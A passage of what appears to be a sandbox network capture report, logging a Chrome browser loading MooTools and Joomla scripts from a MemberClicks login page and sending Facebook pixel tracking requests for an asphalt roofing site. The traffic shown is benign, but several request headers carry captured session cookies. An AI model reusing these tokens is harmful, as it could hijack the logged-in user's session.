optimize arrays of integers longer than 65,535 elements. // See: https://bugs.webkit.org/show_bug.cgi?id
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 20 20 7d 29 3b 0a 20 20 20 20 72 65 74 75 72 6e 20 72 65 73 75 6c 74 2e 76 61 6c 75 65 3b 0a 20 20 7d 3b 0a 0a 20 20 2f 2f 20 53 68 75 66 66 6c 65 20 61 6e 20 61 72 72 61 79 2e 0a 20 20 5f 2e 73 68 75 66 66 6c 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 6f 62 6a 29 20 7b 0a 20 20 20 20 76 61 72 20 72 61 6e 64 3b 0a 20 20 20 20 76 61 72 20 69 6e 64 65 78 20 3d 20 30 3b 0a 20 20 20 20 76 61 72 20 73 68 75 66 66 6c 65 64 20 3d 20 5b 5d 3b 0a 20 20 20 20 65 61 63 68 28 6f 62 6a 2c 20 66 75 6e 63 74 69 6f 6e 28 76 61 6c 75 65 29 20 7b 0a 20 20 20 20 20 20 72 61 6e 64 20 3d 20 5f 2e 72 61 6e 64 6f 6d 28 69 6e 64 65 78 2b 2b 29 3b 0a 20 20 20 20 20 20 73 68 75 66 66 6c 65 64 5b 69 6e 64 65 78 20 2d 20 31 5d 20 3d 20 73 68 75 66 66 6c 65 64 5b 72 61 6e 64 5d 3b 0a 20 Data Ascii: }); return result.value; }; // Shuffle an array. _.shuffle = function(obj) { var rand; var index = 0; var shuffled = []; each(obj, function(value) { rand = _.random(index++); shuffled[index - 1] = shuffled[rand];
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 6e 64 65 78 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 6b 65 79 20 3d 20 69 74 65 72 61 74 6f 72 2e 63 61 6c 6c 28 63 6f 6e 74 65 78 74 2c 20 76 61 6c 75 65 2c 20 69 6e 64 65 78 2c 20 6f 62 6a 29 3b 0a 20 20 20 20 20 20 62 65 68 61 76 69 6f 72 28 72 65 73 75 6c 74 2c 20 6b 65 79 2c 20 76 61 6c 75 65 29 3b 0a 20 20 20 20 7d 29 3b 0a 20 20 20 20 72 65 74 75 72 6e 20 72 65 73 75 6c 74 3b 0a 20 20 7d 3b 0a 0a 20 20 2f 2f 20 47 72 6f 75 70 73 20 74 68 65 20 6f 62 6a 65 63 74 27 73 20 76 61 6c 75 65 73 20 62 79 20 61 20 63 72 69 74 65 72 69 6f 6e 2e 20 50 61 73 73 20 65 69 74 68 65 72 20 61 20 73 74 72 69 6e 67 20 61 74 74 72 69 62 75 74 65 0a 20 20 2f 2f 20 74 6f 20 67 72 6f 75 70 20 62 79 2c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 20 74 68 61 74 20 72 65 74 Data Ascii: ndex) { var key = iterator.call(context, value, index, obj); behavior(result, key, value); }); return result; }; // Groups the object's values by a criterion. Pass either a string attribute // to group by, or a function that ret

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.6	49907	31.13.66.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:00 UTC	880	OUT	GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2F&rl=&if=false&ts=1713884037981&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884037112&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:00 UTC	465	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=115, rtx=0, c=10, mss=1277, tbw=3404, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Tue, 23 Apr 2024 14:54:00 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.6	49908	31.13.66.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:00 UTC	917	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2F&rl=&if=false&ts=1713884037981&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884037112&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:00 UTC	900	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-23 14:54:00 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-23 14:54:00 UTC	1609	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.6	49909	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:00 UTC	727	OUT	GET /plugins/system/mtupgrade/mootools.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:00 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:00 GMT Content-Type: application/javascript Content-Length: 181556 Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:59 GMT etag: "2c534-609b6861cdbc0" x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:00 GMT Cache-Control: public, max-age=3600 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafb55c08addb-ATL
2024-04-23 14:54:00 UTC	838	IN	Data Raw: 2f 2a 0a 2d 2d 2d 0a 0a 6e 61 6d 65 3a 20 43 6f 72 65 0a 0a 64 65 73 63 72 69 70 74 69 6f 6e 3a 20 54 68 65 20 63 6f 72 65 20 6f 66 20 4d 6f 6f 54 6f 6f 6c 73 2c 20 63 6f 6e 74 61 69 6e 73 20 61 6c 6c 20 74 68 65 20 62 61 73 65 20 66 75 6e 63 74 69 6f 6e 73 20 61 6e 64 20 74 68 65 20 4e 61 74 69 76 65 20 61 6e 64 20 48 61 73 68 20 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 73 2e 20 52 65 71 75 69 72 65 64 20 62 79 20 61 6c 6c 20 74 68 65 20 6f 74 68 65 72 20 73 63 72 69 70 74 73 2e 0a 0a 6c 69 63 65 6e 73 65 3a 20 4d 49 54 2d 73 74 79 6c 65 20 6c 69 63 65 6e 73 65 2e 0a 0a 63 6f 70 79 72 69 67 68 74 3a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 36 2d 32 30 30 38 20 5b 56 61 6c 65 72 69 6f 20 50 72 6f 69 65 74 74 69 5d 28 68 74 74 70 3a 2f 2f 6d Data Ascii: /*---name: Coredescription: The core of MooTools, contains all the base functions and the Native and Hash implementations. Required by all the other scripts.license: MIT-style license.copyright: Copyright (c) 2006-2008 [Valerio Proietti](http://m
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 6f 6e 27 3a 20 27 31 2e 32 2e 35 27 2c 0a 09 27 62 75 69 6c 64 27 3a 20 27 30 30 38 64 38 66 30 66 32 66 63 63 32 30 34 34 65 35 34 66 64 64 33 36 33 35 33 34 31 61 61 61 62 32 37 34 65 37 35 37 27 0a 7d 3b 0a 0a 76 61 72 20 4e 61 74 69 76 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 6f 70 74 69 6f 6e 73 29 7b 0a 09 6f 70 74 69 6f 6e 73 20 3d 20 6f 70 74 69 6f 6e 73 20 7c 7c 20 7b 7d 3b 0a 09 76 61 72 20 6e 61 6d 65 20 3d 20 6f 70 74 69 6f 6e 73 2e 6e 61 6d 65 3b 0a 09 76 61 72 20 6c 65 67 61 63 79 20 3d 20 6f 70 74 69 6f 6e 73 2e 6c 65 67 61 63 79 3b 0a 09 76 61 72 20 70 72 6f 74 65 63 74 20 3d 20 6f 70 74 69 6f 6e 73 2e 70 72 6f 74 65 63 74 3b 0a 09 76 61 72 20 6d 65 74 68 6f 64 73 20 3d 20 6f 70 74 69 6f 6e 73 2e 69 6d 70 6c 65 6d 65 6e 74 3b 0a 09 76 61 72 Data Ascii: on': '1.2.5','build': '008d8f0f2fcc2044e54fdd3635341aaab274e757'};var Native = function(options){options = options \|\| {};var name = options.name;var legacy = options.legacy;var protect = options.protect;var methods = options.implement;var
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 6e 20 74 68 69 73 3b 0a 09 7d 3b 0a 0a 09 69 66 20 28 6d 65 74 68 6f 64 73 29 20 6f 62 6a 65 63 74 2e 69 6d 70 6c 65 6d 65 6e 74 28 6d 65 74 68 6f 64 73 29 3b 0a 0a 09 72 65 74 75 72 6e 20 6f 62 6a 65 63 74 3b 0a 7d 3b 0a 0a 4e 61 74 69 76 65 2e 67 65 6e 65 72 69 63 69 7a 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 6f 62 6a 65 63 74 2c 20 70 72 6f 70 65 72 74 79 2c 20 63 68 65 63 6b 29 7b 0a 09 69 66 20 28 28 21 63 68 65 63 6b 20 7c 7c 20 21 6f 62 6a 65 63 74 5b 70 72 6f 70 65 72 74 79 5d 29 20 26 26 20 74 79 70 65 6f 66 20 6f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 5b 70 72 6f 70 65 72 74 79 5d 20 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 20 6f 62 6a 65 63 74 5b 70 72 6f 70 65 72 74 79 5d 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 76 61 72 20 61 Data Ascii: n this;};if (methods) object.implement(methods);return object;};Native.genericize = function(object, property, check){if ((!check \|\| !object[property]) && typeof object.prototype[property] == 'function') object[property] = function(){var a
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 73 29 7b 0a 09 09 66 6f 72 20 28 76 61 72 20 69 20 3d 20 67 65 6e 65 72 69 63 73 5b 67 5d 2e 6c 65 6e 67 74 68 3b 20 69 2d 2d 3b 29 20 4e 61 74 69 76 65 2e 67 65 6e 65 72 69 63 69 7a 65 28 6e 61 74 69 76 65 73 5b 67 5d 2c 20 67 65 6e 65 72 69 63 73 5b 67 5d 5b 69 5d 2c 20 74 72 75 65 29 3b 0a 09 7d 0a 7d 29 28 29 3b 0a 0a 76 61 72 20 48 61 73 68 20 3d 20 6e 65 77 20 4e 61 74 69 76 65 28 7b 0a 0a 09 6e 61 6d 65 3a 20 27 48 61 73 68 27 2c 0a 0a 09 69 6e 69 74 69 61 6c 69 7a 65 3a 20 66 75 6e 63 74 69 6f 6e 28 6f 62 6a 65 63 74 29 7b 0a 09 09 69 66 20 28 24 74 79 70 65 28 6f 62 6a 65 63 74 29 20 3d 3d 20 27 68 61 73 68 27 29 20 6f 62 6a 65 63 74 20 3d 20 24 75 6e 6c 69 6e 6b 28 6f 62 6a 65 63 74 2e 67 65 74 43 6c 65 61 6e 28 29 29 3b 0a 09 09 66 6f 72 20 28 Data Ascii: s){for (var i = generics[g].length; i--;) Native.genericize(natives[g], generics[g][i], true);}})();var Hash = new Native({name: 'Hash',initialize: function(object){if ($type(object) == 'hash') object = $unlink(object.getClean());for (
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 61 62 6c 65 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 63 6f 6e 73 74 72 75 63 74 6f 72 27 0a 20 20 20 20 20 20 20 20 20 20 20 20 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 6e 74 45 6e 75 6d 73 4c 65 6e 67 74 68 20 3d 20 64 6f 6e 74 45 6e 75 6d 73 2e 6c 65 6e 67 74 68 3b 0a 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 20 28 6f 62 6a 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 6f 62 6a 20 21 3d 3d 20 27 6f 62 6a 65 63 74 27 20 26 26 20 28 74 79 70 65 6f 66 20 6f 62 6a 20 21 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 20 7c 7c 20 6f 62 6a 20 3d 3d 3d 20 6e 75 6c 6c 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 Data Ascii: able', 'constructor' ], dontEnumsLength = dontEnums.length; return function (obj) { if (typeof obj !== 'object' && (typeof obj !== 'function' \|\| obj === null)) { throw new TypeEr
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 74 69 6d 65 72 29 3b 0a 09 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 0a 7d 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 24 64 65 66 69 6e 65 64 28 6f 62 6a 29 7b 0a 09 72 65 74 75 72 6e 20 28 6f 62 6a 20 21 3d 20 75 6e 64 65 66 69 6e 65 64 29 3b 0a 7d 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 24 65 61 63 68 28 69 74 65 72 61 62 6c 65 2c 20 66 6e 2c 20 62 69 6e 64 29 7b 0a 09 76 61 72 20 74 79 70 65 20 3d 20 24 74 79 70 65 28 69 74 65 72 61 62 6c 65 29 3b 0a 09 28 28 74 79 70 65 20 3d 3d 20 27 61 72 67 75 6d 65 6e 74 73 27 20 7c 7c 20 74 79 70 65 20 3d 3d 20 27 63 6f 6c 6c 65 63 74 69 6f 6e 27 20 7c 7c 20 74 79 70 65 20 3d 3d 20 27 61 72 72 61 79 27 29 20 3f 20 41 72 72 61 79 20 3a 20 48 61 73 68 29 2e 65 61 63 68 28 69 74 65 72 61 62 6c Data Ascii: learInterval(timer);return null;};function $defined(obj){return (obj != undefined);};function $each(iterable, fn, bind){var type = $type(iterable);((type == 'arguments' \|\| type == 'collection' \|\| type == 'array') ? Array : Hash).each(iterabl
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 29 20 3f 20 5b 6f 62 6a 5d 20 3a 20 6f 62 6a 29 20 3a 20 5b 5d 3b 0a 7d 3b 0a 0a 76 61 72 20 24 74 69 6d 65 20 3d 20 44 61 74 65 2e 6e 6f 77 20 7c 7c 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 72 65 74 75 72 6e 20 2b 6e 65 77 20 44 61 74 65 3b 0a 7d 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 24 74 72 79 28 29 7b 0a 09 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 2c 20 6c 20 3d 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 20 69 20 3c 20 6c 3b 20 69 2b 2b 29 7b 0a 09 09 74 72 79 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 61 72 67 75 6d 65 6e 74 73 5b 69 5d 28 29 3b 0a 09 09 7d 20 63 61 74 63 68 28 65 29 7b 7d 0a 09 7d 0a 09 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 0a 7d 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 24 74 79 70 65 28 6f 62 6a 29 7b 0a 09 69 66 20 28 6f 62 6a 20 Data Ascii: ) ? [obj] : obj) : [];};var $time = Date.now \|\| function(){return +new Date;};function $try(){for (var i = 0, l = arguments.length; i < l; i++){try {return arguments[i]();} catch(e){}}return null;};function $type(obj){if (obj
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 6d 65 3a 20 27 75 6e 6b 6e 6f 77 6e 27 2c 20 76 65 72 73 69 6f 6e 3a 20 30 7d 2c 0a 0a 09 50 6c 61 74 66 6f 72 6d 3a 20 7b 6e 61 6d 65 3a 20 28 77 69 6e 64 6f 77 2e 6f 72 69 65 6e 74 61 74 69 6f 6e 20 21 3d 20 75 6e 64 65 66 69 6e 65 64 29 20 3f 20 27 69 70 6f 64 27 20 3a 20 28 6e 61 76 69 67 61 74 6f 72 2e 70 6c 61 74 66 6f 72 6d 2e 6d 61 74 63 68 28 2f 6d 61 63 7c 77 69 6e 7c 6c 69 6e 75 78 2f 69 29 20 7c 7c 20 5b 27 6f 74 68 65 72 27 5d 29 5b 30 5d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 0a 0a 09 46 65 61 74 75 72 65 73 3a 20 7b 78 70 61 74 68 3a 20 21 21 28 64 6f 63 75 6d 65 6e 74 2e 65 76 61 6c 75 61 74 65 29 2c 20 61 69 72 3a 20 21 21 28 77 69 6e 64 6f 77 2e 72 75 6e 74 69 6d 65 29 2c 20 71 75 65 72 79 3a 20 21 21 28 64 6f 63 75 6d 65 6e 74 Data Ascii: me: 'unknown', version: 0},Platform: {name: (window.orientation != undefined) ? 'ipod' : (navigator.platform.match(/mac\|win\|linux/i) \|\| ['other'])[0].toLowerCase()},Features: {xpath: !!(document.evaluate), air: !!(window.runtime), query: !!(document
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 65 73 74 28 29 3b 0a 09 7d 2c 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 72 65 74 75 72 6e 20 6e 65 77 20 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 27 4d 53 58 4d 4c 32 2e 58 4d 4c 48 54 54 50 27 29 3b 0a 09 7d 2c 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 72 65 74 75 72 6e 20 6e 65 77 20 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 27 4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50 27 29 3b 0a 09 7d 29 3b 0a 7d 3b 0a 0a 42 72 6f 77 73 65 72 2e 46 65 61 74 75 72 65 73 2e 78 68 72 20 3d 20 21 21 28 42 72 6f 77 73 65 72 2e 52 65 71 75 65 73 74 28 29 29 3b 0a 0a 42 72 6f 77 73 65 72 2e 50 6c 75 67 69 6e 73 2e 46 6c 61 73 68 20 3d 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 76 61 72 20 76 65 72 73 69 6f 6e 20 3d 20 28 24 74 72 79 28 66 75 6e 63 74 69 6f Data Ascii: est();}, function(){return new ActiveXObject('MSXML2.XMLHTTP');}, function(){return new ActiveXObject('Microsoft.XMLHTTP');});};Browser.Features.xhr = !!(Browser.Request());Browser.Plugins.Flash = (function(){var version = ($try(functio
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 2e 45 6e 67 69 6e 65 2e 77 65 62 6b 69 74 29 20 77 69 6e 2e 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 20 2f 2f 66 69 78 65 73 20 73 61 66 61 72 69 20 32 0a 09 09 09 77 69 6e 2e 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 20 3d 20 28 42 72 6f 77 73 65 72 2e 45 6e 67 69 6e 65 2e 77 65 62 6b 69 74 29 20 3f 20 77 69 6e 64 6f 77 5b 22 5b 5b 44 4f 4d 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 5d 5d 22 5d 20 3a 20 7b 7d 3b 0a 09 09 7d 0a 09 09 77 69 6e 2e 64 6f 63 75 6d 65 6e 74 2e 77 69 6e 64 6f 77 20 3d 20 77 69 6e 3b 0a 09 09 72 65 74 75 72 6e 20 24 65 78 74 65 6e 64 28 77 69 6e 2c 20 57 69 6e 64 6f 77 2e 50 72 6f 74 6f 74 79 70 65 29 3b 0a 09 7d 2c 0a 0a 09 61 66 74 65 72 49 6d 70 6c 65 Data Ascii: .user.webkit) win.document.createElement("iframe"); //fixes safari 2win.Element.prototype = (Browser.user.webkit) ? window["[[DOMElement.prototype]]"] : {};}win.document.window = win;return $extend(win, Window.Prototype);},afterImple

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.6	49910	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:00 UTC	723	OUT	GET /includes/js/joomla.javascript.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:00 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:00 GMT Content-Type: application/javascript Content-Length: 16321 Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: "3fc1-609b6860d9980" x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:00 GMT Cache-Control: public, max-age=3600 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafb62842b0b7-ATL
2024-04-23 14:54:00 UTC	840	IN	Data Raw: 2f 2f 20 3c 3f 70 68 70 20 21 21 20 54 68 69 73 20 66 6f 6f 6c 73 20 70 68 70 64 6f 63 75 6d 65 6e 74 6f 72 20 69 6e 74 6f 20 70 61 72 73 69 6e 67 20 74 68 69 73 20 66 69 6c 65 0a 2f 2a 2a 0a 2a 20 40 76 65 72 73 69 6f 6e 09 09 24 49 64 3a 20 6a 6f 6f 6d 6c 61 2e 6a 61 76 61 73 63 72 69 70 74 2e 6a 73 20 31 34 34 30 31 20 32 30 31 30 2d 30 31 2d 32 36 20 31 34 3a 31 30 3a 30 30 5a 20 6c 6f 75 69 73 20 24 0a 2a 20 40 70 61 63 6b 61 67 65 09 09 4a 6f 6f 6d 6c 61 0a 2a 20 40 63 6f 70 79 72 69 67 68 74 09 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 32 30 30 35 20 2d 20 32 30 31 30 20 4f 70 65 6e 20 53 6f 75 72 63 65 20 4d 61 74 74 65 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 20 40 6c 69 63 65 6e 73 65 09 09 47 4e 55 2f 47 50 Data Ascii: // <?php !! This fools phpdocumentor into parsing this file/*** @version$Id: joomla.javascript.js 14401 2010-01-26 14:10:00Z louis $* @packageJoomla* @copyrightCopyright (C) 2005 - 2010 Open Source Matters. All rights reserved.* @licenseGNU/GP
